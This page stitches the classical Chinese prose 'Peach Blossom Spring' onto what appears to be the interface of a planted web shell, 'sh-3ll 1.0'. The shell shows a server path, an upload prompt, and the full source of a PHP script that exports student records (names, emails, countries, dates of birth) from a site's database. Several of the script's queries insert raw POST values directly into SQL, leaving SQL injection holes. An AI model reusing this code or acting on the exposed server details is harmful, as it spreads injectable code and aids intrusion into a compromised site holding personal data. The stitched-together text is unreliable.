晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/bolconlineco/www/coordinator/
Upload File :
Current File : //home/bolconlineco/www/coordinator/excel.php
<?php
include('../includes/connection/func.inc.php');

    header("Content-type: application/vnd-ms-excel");
    header("Content-Disposition: attachment; filename=codelution-export.xls");

    if(!empty($_POST['studentId']))
    {
        $studentId=sql_strip($_POST['studentId']);
        $result=mysql_query("select * from student where rollno='$studentId'");

    }else if(!empty($_POST['email']))  {
        $email=sql_strip($_POST['email']);
        $result=mysql_query("select * from student where email like '%$email%'");

    }else if(!empty($_POST['firstname']))
    {
        $firstname=sql_strip($_POST['firstname']);
        $result=mysql_query("select * from student where fname like '%$firstname%' order by registrationdate");
        $num=mysql_num_rows($result);

    }else if(!empty($_POST['lastname']))
    {
        $lastname=sql_strip($_POST['lastname']);
        $result=mysql_query("select * from student where lname like '%$lastname%' order by registrationdate");

    }else if(!empty($_POST['tutor']))
    {
        // Return more rows
        $tutr=sql_strip($_POST['tutor']);

        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
                ac.tutorId='$tutr' order by registrationdate");



    }else if(!empty($_POST['country']))
    {
        $country=$_POST['country'];
        $result=mysql_query("select * from student where country like '%$country%' order by registrationdate");

    }else if(!empty($_POST['city']))
    {
        $city=sql_strip($_POST['city']);
        $result=mysql_query("select * from student where city like '%$city%' order by registrationdate");


    }else if(!empty($_POST['dob']))
    {
        $dob=$_POST['dob'];
        $d1=explode('/',$dob);
        $new=$d1[2].'-'.$d1[1].'-'.$d1[0];
        $result=mysql_query("select * from student where dob='$new' order by registrationdate");

    }else
    if(!empty($_POST['registfrom']) && !empty($_POST['rto'])){ 
        $date2=$_POST['registfrom'];
        $full2=explode('-',$date2);
        $course= isset($_POST['course']) ? sql_strip($_POST['course']):'';
       $category=sql_strip($_POST['category']);
        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['rto'];
        $full=explode('-',$date1);
        $sta=$_POST['sstatus'];

        $rto=$full[2].'-'.$full[1].'-'.$full[0];
        // echo $date2."<br>";
        // echo $sta."<br>";
        // echo $course."<br>";
        // print_r($date1);
        $sql_query = "select s.*,ac.* from student as s 
            join assigncourse as ac on s.rollno=ac.rollno 
            join course as c on c.courseId=ac.courseid 

            where s.registrationdate between '$date2' and '$date1'  
            
            
            ";

            
            
        $sql_query .= (!empty($_POST['category']))? " and c.catId='$category' ":'' ;
        $sql_query .= (!empty($_POST['course']))? " and ac.courseid='$course' ":'' ;
        $sql_query .= (!empty($_POST['sstatus']))? " and studentstatus='$sta' ":'' ;
            
        $sql_query .= " order by s.registrationdate";

        
        $result=mysql_query($sql_query);

         // print_r(mysql_fetch_array($result));exit();
    }
    /*
    elseif(!empty($_POST['registfrom']) && !empty($_POST['rto']) && !empty($_POST['category']) && !empty($_POST['course'])){ 
        $date2=$_POST['registfrom'];
        $full2=explode('-',$date2);
        $course=sql_strip($_POST['course']);
         $category=sql_strip($_POST['category']);

        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['rto'];
        $full=explode('-',$date1);
     

        $rto=$full[2].'-'.$full[1].'-'.$full[0];
    

       
        $result=mysql_query("select s.*,ac.* from student as s 
            join assigncourse as ac on s.rollno=ac.rollno 
            join course as c on c.courseId=ac.courseid 

            where s.registrationdate between '$date2' and '$date1'  
            and c.catId='$category' 
            and ac.courseid='$course'
            order by s.registrationdate");

         

         // print_r(mysql_fetch_array($result));exit();
    }elseif(!empty($_POST['registfrom']) && !empty($_POST['rto']) && !empty($_POST['category'])){ 
        $date2=$_POST['registfrom'];
        $full2=explode('-',$date2);
        $category=sql_strip($_POST['category']);
        $course=sql_strip($_POST['course']);
      
        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['rto'];
        $full=explode('-',$date1);
     

        $rto=$full[2].'-'.$full[1].'-'.$full[0];
    
        
       
        $result=mysql_query("select s.*,ac.* from student as s 
            join assigncourse as ac on s.rollno=ac.rollno 
            join course as c on c.courseId=ac.courseid 

            where
                s.registrationdate between '$date2' and '$date1'  and c.catId='$category' order by s.registrationdate");

         // print_r(mysql_fetch_array($result));exit();
    }else if(!empty($_POST['registfrom']) && !empty($_POST['rto'])&& !empty($_POST['sstatus'])){
        $date2=$_POST['registfrom'];
        $full2=explode('-',$date2);
       // print_r($full2);
       // exit();
        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['rto'];
        $full=explode('-',$date1);
        $sta=$_POST['sstatus'];

        $rto=$full[2].'-'.$full[1].'-'.$full[0];


        //$from=date('Y-m-d',strtotime($_POST['registfrom']));
        //$too=date('Y-m-d',strtotime($_POST['rto']));
        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
                s.registrationdate between '$date2' and '$date1' and studentstatus='$sta' order by s.registrationdate");


    } else if (!empty($_POST['registfrom']) && !empty($_POST['rto'])) {
        $date2=$_POST['registfrom'];
        $full2=explode('-',$date2);

        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['rto'];
        $full=explode('-',$date1);


        $rto=$full[2].'-'.$full[1].'-'.$full[0];


        //$from=date('Y-m-d',strtotime($_POST['registfrom']));
        //$too=date('Y-m-d',strtotime($_POST['rto']));
        // echo "select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
        //         s.registrationdate between '$date2' and '$date1' order by s.registrationdate";exit;
        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
                s.registrationdate between '$date2' and '$date1' order by s.registrationdate");
 // print_r(mysql_fetch_array($result));exit();

    }
    */
    else if(!empty($_POST['compfrom']) && !empty($_POST['compto'])){
        $date2=$_POST['compfrom'];
        $full2=explode('/',$date2);

        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['compto'];
        $full=explode('/',$date1);


        $rto=$full[2].'-'.$full[1].'-'.$full[0];


        //$from=date('Y-m-d',strtotime($_POST['registfrom']));
        //$too=date('Y-m-d',strtotime($_POST['rto']));
        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
                s.comp_date between '$rfrom' and '$rto' order by s.registrationdate");

    }

    else if(!empty($_POST['taskfrom']) && !empty($_POST['taskto'])) {

        $date2=$_POST['taskfrom'];
        $full2=explode('/',$date2);

        $taskfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['taskto'];
        $full=explode('/',$date1);

        $taskto=$full[2].'-'.$full[1].'-'.$full[0];
        $result=mysql_query("select s.*,t.* from student as s join tasks as t on s.rollno=t.rollno where
                t.taskdate between '$taskfrom' and '$taskto' group by s.rollno order by t.taskdate,s.registrationdate");
    } else if(!empty($_POST['assg_task'])) {

        $result=mysql_query("select s.*,t.* from student as s join tasks as t on s.rollno=t.rollno where t.assigned_to = '".$_POST['assg_task']."' group by s.rollno order by t.taskdate,s.registrationdate");
    }
    else if(!empty($_POST['balfrom']) && !empty($_POST['balto']))
    {
        $balfrom=date($_POST['balfrom']);
        $balto=date($_POST['balto']);

        //$result=mysql_query("select s.*,sum(tf.paid) as total from student as s inner  join  tbl_fees_install as tf on s.rollno=tf.rollno group by s.rollno having total between '$balfrom' and '$balto' ") or die(mysql_error());
        // $result=mysql_query("select s.*,abs(sum(tf.payble)-sum(f.paid)) as total from student as s  join  tbl_fees_install as tf on s.rollno=tf.rollno  join tbl_install as f on tf.rollno=f.rollno group by s.rollno having total between '$balfrom' and '$balto'") or die(mysql_error());
        $result=mysql_query("select s.*,abs(sum(f.payble)-sum(f.paid)) as total_dues from student as s join tbl_fees_install as f on s.rollno=f.rollno group by rollno having total_dues between '$balfrom' and '$balto'");

    }

    else if(!empty($_POST['from']) && !empty($_POST['to']))
    {
        $formm=date($_POST['from']);
        $full1=explode('/',$formm);
        $too=date($_POST['to']);
        $full2=explode('/',$too);
        $f=$full1[2].'-'.$full1[1].'-'.$full1[0];
        $t=$full2[2].'-'.$full2[1].'-'.$full2[0];
        if(isset($_POST['assg_all']))
        {

            $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where   ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
        }
        else if(isset($_POST['assg_comp']))
        {

            $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where ua.uploadStatus=0 and  ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
        }
        else
        {

            $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where ua.uploadStatus=1 and  ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
        }
    }
    else if(!empty($_POST['category']) && !empty($_POST['course']) && !empty($_POST['sstatus']))
    {    
        
        //$category=sql_strip($_POST['category']);
        $course=sql_strip($_POST['course']);
        $status=sql_strip($_POST['sstatus']);
        $query="select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno
        where  ac.courseid='$course' AND s.studentstatus='$status' order by s.registrationdate";
        $result=mysql_query($query) or die(mysql_error());
        // print_r(mysql_fetch_array($result)); exit();



    } else if(!empty($_POST['category']) && !empty($_POST['course']))
    {
        //$category=sql_strip($_POST['category']);
        $course=sql_strip($_POST['course']);
        $query="select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno
        where  ac.courseid='$course' order by s.registrationdate";
        $result=mysql_query($query) or die(mysql_error());



    }
    else if(!empty($_POST['sstatus'])) {
        $status=sql_strip($_POST['sstatus']);
        //$query="select * from student where studentstatus='$status'";
        $result=mysql_query("select * from student where studentstatus='$status' order by registrationdate");
    }
    else if(!empty($_POST['source'])) {
        $source=sql_strip($_POST['source']);
        //$query="select * from student where studentstatus='$status'";
        $result=mysql_query("select * from student where admission_source='$source' order by registrationdate");
    } 
    else if(!empty($_POST['stage'])) {
        $stage=sql_strip($_POST['stage']);
        //$query="select * from student where studentstatus='$status'";
        $result=mysql_query("select * from student where stage='$stage' order by registrationdate");
    }

    ?>
<div style="clear: both;"></div>


<div class="table-responsive">
<table border="1">
<thead>
<tr>
    <th>#</th>
    <th>ID</th>
    <th >Reg Date</th>
    <th>First Name</th>
    <th>Last Name</th>
    <th>Email</th>
    <th>Country</th>
    <th>Course</th>
    <th>Source</th>
    <th>Status</th>
     <!--   <th>Cource</th> -->
   <!--  <th>Stage</th>
    <th>Level</th>
    <th>Task</th> -->
   <!--  <th>Assignment</th>
    <th>I</th>
    <th>C</th>
    <th>A</th> -->
    <!--<th>Paid</th>
    <th>Bal</th>
    <th>Due</th>-->
    
  <!--   <th>Login</th> -->
</tr><!-- end title -->
</thead>
<tbody>
<?php
     $stage_array = array();
     $status_array = array();
    $status_q = mysql_query("SELECT StatusId,StatusName FROM status");
    while($status_res=mysql_fetch_array($status_q))
    {
        $status_array[$status_res['StatusId']] = $status_res['StatusName'];
    }
    // $stage_q = mysql_query("SELECT id,title FROM stages");
    // while($stage_res=mysql_fetch_array($stage_q))
    // {
    //     $stage_array[$stage_res['id']] = $stage_res['title'];
    // }

    

    
$number=1;

    $numresult=mysql_num_rows($result);
    $sr=0;
    if ($numresult > 0) {
  
    while($row=mysql_fetch_array($result))
    {

       $email_found = $row['email'];

        
        $course_name = ''; ?>
        <tr>

           <td><?php echo $number++;?></td>
            <td><a href="studentInfo.php?Id=<?php echo $row['rollno']; ?>" target="_new" ><?php echo $row['rollno'];?></a></td>
            <td><?php  echo date('d/m/Y',strtotime($row['registrationdate']));?></td>
             <td><?php echo $row['fname'];?></td>
            <td><?php echo $row['lname']; ?></td>
            <td><?php echo $row['email'];?></td>
            <td><?php echo $row['country'];?></td>

            
            <?php 
            $course_query =" SELECT ac.courseid courseid,courseName FROM `assigncourse` as ac 
                              join course c on c.courseId = ac.courseid
                              where ac.rollno= ".$row['rollno'] . ' limit 1';

            $qqq=mysql_query($course_query) or die(mysql_errno());
            
            if (mysql_num_rows($qqq)) 
            {
                $fetch=mysql_fetch_array($qqq);
                $course_name =$fetch['courseName'];
                $course_id =$fetch['courseid'];
            }

             ?>

            <td><?php echo $course_name; //echo $course_id;?></td>
           
           <td><?php echo $row['admission_source'];?></td>
             
             
 
 
          

            <td><?php

                 
                
                 echo array_key_exists($row['studentstatus'], $status_array) ?$status_array[$row['studentstatus']]:'';
                
                // echo $login_row['StatusName'];
                ?></td>
            
            <?php /*<td>
                <?php
                    $rollno = $row['rollno'];

                    $email = $row['email'];
               
                ?>
              

               
               
     <a target="_blank" href="loginasanadmin.php?rollno=<?php echo $rollno; ?>&studentEmail=<?php echo $email; ?>"  >Login</a>
     <a href="register.php?rollno=<?php echo $rollno; ?>" class="">Register</a>

            </td>*/ ?>
        </tr>
    <?php
    }

    }
    
    ?>
</tbody>
</table>